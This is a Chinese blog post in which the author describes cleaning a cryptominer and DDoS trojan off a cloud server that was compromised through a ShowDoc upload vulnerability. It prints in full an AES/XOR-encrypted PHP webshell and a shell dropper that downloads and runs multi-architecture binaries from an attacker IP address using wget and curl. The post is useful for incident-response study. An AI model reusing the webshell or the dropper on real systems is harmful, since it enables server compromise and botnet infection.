早上收到通知:

挖矿处置通知】为避免您的云服务被关停,请尽快清理挖矿活动

一脸懵逼的我登录了阿里云后台,然后看到了一堆的安全事件提醒,里面都是 DDoS木马 提醒。主要是两个文件 /tmp/bin/busybox/tmp/bin/watchdog

打开云安全中心管理控制台,打开对应的主机的安全告警处理,各种 DDoS木马、可疑命令执行、发现后门(Webshell)文件、恶意脚本代码执行,还有挖矿程序展示了两、三页。

其中的 webshell 有明确指向,是 showdoc 文档程序的上传目录。挖矿程序指向 /tmp/spreadUrstuv 文件。恶意代码执行没有明确执行文件,显示是 php-fpm 执行了 sh -c wget xx 远程脚本。

登录到服务器,查看登录历史和指令历史,没有发现。输入指令严重延迟,top 可以看到名为 spreadUrstuv 进程占据了 98% 的CPU 和 30% 左右的内存。kill -9 $pid 尝试杀死该挖矿进程,再次执行 top,spreadUrstuv 进程还在。

此时的情况我已经无能为力了,只能求助网上教程。记一次Linux木马清除过程,运维同事也给我推了一篇:CentOS处理挖矿病毒 - kthreaddi

结合两篇教程,先去检查了 cron 定时任务,主要是 root 和 www(php-fpm 执行用户),没有异常。

查找病毒程序 ps -aux | sort -k3nr | head -5,这个 top 指令已经找到了,结果也是一致的。

查找守护进程 systemctl status $pid,但我执行的时候并没有找到,可能与我下面提到的比较莽的删除操作有关,也可能就没有。

还有类似的 ps -ef | grep $pidnetstat -anltp | grep $pid,他们都可以获取挖矿程序的主程序,但我好像没有查。

我用了 lsof -c <进程名> 查找与进程相关的文件、进程,里面看到了两条本机与外部ip tcp 通讯的记录。但我还是不能确定。

找不到父进程,但从种种检测来看,攻击途径更倾向于

a.各种弱口令爆破
b.系统漏洞的利用
c.应用漏洞的利用

中的 c.应用漏洞的利用。明摆着的是 showdoc 程序上传文件存在漏洞,上传了 php 文件。找到上传目录,发现最近几天都有 php 文件上传,甚至还有 sh 脚本文件的存在,这个 sh 脚本文件还是可执行的状态。文件的所有者都是 www,这确认了文件是通过 php 程序上传上来的,并执行了一些远程下载的脚本。

从上传的 php 文件内容分析,攻击是分了阶段的,先是 rand() 试探,过了两三天没有被清理掉,之后开始 eval($_GET[cmd]) 执行一些指令获取些基本信息,之后就是一个完整的执行脚本了:

<?php
@error_reporting(0);
session_start();
        $key="d2ac08c64b5db38a";
        $_SESSION['k']=$key;
        $post=file_get_contents("php://input");
        if(!extension_loaded('openssl'))
        {
                $t="base64_"."decode";
                $post=$t($post."");
                
                for($i=0;$i<strlen($post);$i++) {
                                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                                }
        }
        else
        {
                $post=openssl_decrypt($post, "AES128", $key);
        }
        $arr=explode('|',$post);
        $func=$arr[0];
        $params=$arr[1];
        class C{public function __invoke($p) {eval($p."");}}
        @call_user_func(new C(),$params);
?>

它甚至通过 session 标记了当前的执行。从代码来看,通过 base64 或者 Aes128 加密防止参数丢失,然后解析成字符串,分离出方法名和参数,之后再通过 call_user_func 执行带参方法。

当然也可能 rand() 只是一个类似长连接通讯的心跳包,通过定时执行来判断 “肉鸡” 是否还在正常运行中。

php 脚本并没有太多有用信息,另外一个 sh 文件就不一样了:

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.189.12.152/x86; curl -O http://107.189.12.152/x86;cat x86 >RUN;chmod +x *;./RUN x86
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.189.12.152/mips; curl -O http://107.189.12.152/mips;cat mips >RUN;chmod +x *;./RUN mips
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.189.12.152/arc; curl -O http://107.189.12.152/arc;cat arc >RUN;chmod +x *;./RUN arc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.189.12.152/x86_64; curl -O http://107.189.12.152/x86_64;cat x86_64 >RUN;chmod +x *;./RUN x86_64
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.189.12.152/mpsl; curl -O http://107.189.12.152/mpsl;cat mpsl >RUN;chmod +x *;./RUN mpsl
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.189.12.152/arm; curl -O http://107.189.12.152/arm;cat arm >RUN;chmod +x *;./RUN arm
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.189.12.152/arm5; curl -O http://107.189.12.152/arm5;cat arm5 >RUN;chmod +x *;./RUN arm5
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.189.12.152/arm6; curl -O http://107.189.12.152/arm6;cat arm6 >RUN;chmod +x *;./RUN arm6
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.189.12.152/arm7; curl -O http://107.189.12.152/arm7;cat arm7 >RUN;chmod +x *;./RUN arm7
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.189.12.152/ppc; curl -O http://107.189.12.152/ppc;cat ppc >RUN;chmod +x *;./RUN ppc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.189.12.152/spc; curl -O http://107.189.12.152/spc;cat spc >RUN;chmod +x *;./RUN spc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.189.12.152/m68k; curl -O http://107.189.12.152/m68k;cat m68k >RUN;chmod +x *;./RUN m68k
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.189.12.152/sh4; curl -O http://107.189.12.152/sh4;cat sh4 >RUN;chmod +x *;./RUN sh4

通过执行 cd /tmp || cd /root; echo 'hello'; 判断 ; 相当于语句分隔符,|| 正常或运算,多个 || 执行成功一条就会跳过。当前的服务器中 /tmp 是存在的,所以后面下载的内容都会放到 /tmp 中。进入 /tmp 查看,果然这个文件夹都成贼窝了,包括挖矿程序、木马程序,还存在有很多未知的项。

我一莽干脆把这个 /tmp 删干净了。然后再干掉 spreadUrstuv 挖矿进程,发现没有再启动了,服务器输入指令不再卡顿。但在 top 里有很多 /bin/watchdog/bin/busybox 进程,一会儿上一会儿下的。猜测这些就是启动挖矿进程的主进程,查找 /bin 路径下并没有 watchdog 和 busybox 文件,pkill xxx 也找不到进程。忽然想到是不是对应 /tmp/bin/busybox/tmp/bin/watchdog,但这两个文件已经不存在了,我连 tmp 都删干净了。

干脆再重启一下看看这些进程是否消失,reboot 之后,/bin/watchdog/bin/busybox 进程确实没了,偶尔出现的 watchdog/0 或者 watchdog/1 不知道是否正常,但已经不影响大局了。

到了现在是需要解决 showdoc 上传漏洞的问题了。因为程序要上传文件到路径下,所有目录的执行权限给了 777,我如果撤回的话,我怕文件上传会有问题。测试程序中的上传图片和附件,发现并不能够上传 php 文件。

短时间内找不到问题所在,又不能直接把应用关停。突然想到了另一个解决 php webshell 后门文件的方法,那就是使用服务商的对象存储、文件存储服务。在 showdoc 后台配置好阿里云的 oss 对象存储服务,然后所有的文件都会上传到阿里云。如果远程执行,那也霍霍不到我的服务器,并且我相信阿里云会处理好这个问题。

想着不能就这样结束了,下次起码得有个工具可以帮忙排查一下问题,有一个 Rootkit Hunter,我是 centos 系统,直接通过 yum install rkhunter 就可以安装,然后按照教程里的指令去扫描病毒。但它的日志文件太长了,我都找不到有问题的地方。另一个 CloudWalker,可以直接下载 release 中的文件,然后修改为可执行 chmod +x xx。执行第二个生成 html 报告文件,第一个不知道结果去哪了。

自此,再去看一下是否疑似病毒程序的存在:ps -aux | sort -k3nr | head -5。OK,没有,收工!

PS:中间发现 mysql 服务启动不了,说是 pid 文件无法更新,最终确定是因为我把 /tmp 文件夹删除了,最后重新创建了这个文件夹,重启 mysql 问题解决。


2023-03-14

果然还是年轻了,以为将 showdoc 上传文件配置了上传到OSS文件服务上就可以避免这个上传的bug,结果今天还是收到了报警,Uploads 文件夹下依然上传了 php 文件。

比较巧的是,这次因为试用企业版安全服务,安全漏洞里也报了这个问题:

Showdoc <= 2.8.6 uploadImg 文件上传漏洞

更巧的是,我部署的 showdoc 版本恰好就是 2.8.6。我也没看过 showdoc 的更新日志和源码,干脆再升级一下 showdoc 好了。

升级参考 安装/升级手册 - showdoc,不考虑安装使用 docker,直接下载国内码云上的最新版,然后按照全新安装的步骤保存文件并替换:

全新安装(具体操作参考文档)并初始化ShowDoc完毕后,进入之前备份的目录。将Sqlite/showdoc.db.php(这是原来的数据库文件),以及Public/Uploads/下的所有文件(这些是上传的图片。如没有图片则可忽略之),全部复制并覆盖到新showdoc目录的相应文件。覆盖后重新给这些文件可写权限。

主要涉及到三个文件[夹]:Sqlite/showdoc.db.phpPublic/Uploads/install/index.php

需要设置 SqliteSqlite/showdoc.db.phpserver/Application/RuntimePublic/Uploads 为 www 用户组和用户(web 服务器执行用户组和用户)。install/index.php 是在报缺表的时候,需要开放访问权限,给到 www 和 775 执行权限,之后可以再禁掉。

如果更新后登录访问首页一直跳转到 /install/index.php 安装页面并提示 403 Access Forbidden,可以考虑重命名该目录,或者直接删除。